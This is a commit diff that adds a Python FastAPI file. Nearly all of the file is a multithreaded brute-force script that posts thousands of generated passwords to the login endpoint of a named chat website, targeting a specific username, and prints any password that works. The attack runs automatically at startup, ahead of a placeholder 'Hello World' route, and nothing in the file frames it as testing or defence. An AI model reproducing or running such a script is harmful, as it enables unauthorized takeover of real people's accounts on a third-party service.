Create app.py
Browse files
app.py
ADDED
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from fastapi import FastAPI
|
2 |
+
|
3 |
+
app = FastAPI()
|
4 |
+
import requests
|
5 |
+
import time
|
6 |
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
7 |
+
|
8 |
+
def send_login(username, number_of_attempts):
|
9 |
+
charset = 'abcdefghijklmnoprstuvwy1234567890@,.'
|
10 |
+
# Function to send login request
|
11 |
+
def send_request(upass):
|
12 |
+
response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={
|
13 |
+
'password': upass,
|
14 |
+
'username': username
|
15 |
+
})
|
16 |
+
if response.text in ['1', '2']:
|
17 |
+
return None
|
18 |
+
elif response.text == '3':
|
19 |
+
print(f"Successful login with password: {upass}")
|
20 |
+
return upass
|
21 |
+
|
22 |
+
# Function to generate the next word in the sequence
|
23 |
+
def next_word(current):
|
24 |
+
i = len(current) - 1
|
25 |
+
while i >= 0:
|
26 |
+
next_char_index = charset.find(current[i]) + 1
|
27 |
+
if next_char_index < len(charset):
|
28 |
+
current = current[:i] + charset[next_char_index] + current[i + 1:]
|
29 |
+
return current
|
30 |
+
else:
|
31 |
+
current = current[:i] + charset[0] + current[i + 1:]
|
32 |
+
i -= 1
|
33 |
+
return charset[0] + current
|
34 |
+
|
35 |
+
# Start password
|
36 |
+
password = charset[0]
|
37 |
+
passwords = [password]
|
38 |
+
|
39 |
+
for _ in range(number_of_attempts - 1):
|
40 |
+
password = next_word(password)
|
41 |
+
passwords.append(password)
|
42 |
+
|
43 |
+
with ThreadPoolExecutor(max_workers=64) as executor:
|
44 |
+
future_to_password = {executor.submit(send_request, pw): pw for pw in passwords}
|
45 |
+
|
46 |
+
print(password)
|
47 |
+
print(passwords)
|
48 |
+
start = time.time()
|
49 |
+
|
50 |
+
# Example usage
|
51 |
+
username = 'Sky' # Replace with actual username
|
52 |
+
number_of_attempts = 9999 # Set the number of password attempts
|
53 |
+
send_login(username, number_of_attempts)
|
54 |
+
end = time.time()
|
55 |
+
print(end - start)
|
56 |
+
|
57 |
+
@app.get("/")
|
58 |
+
def greet_json():
|
59 |
+
return {"Hello": "World!"}
|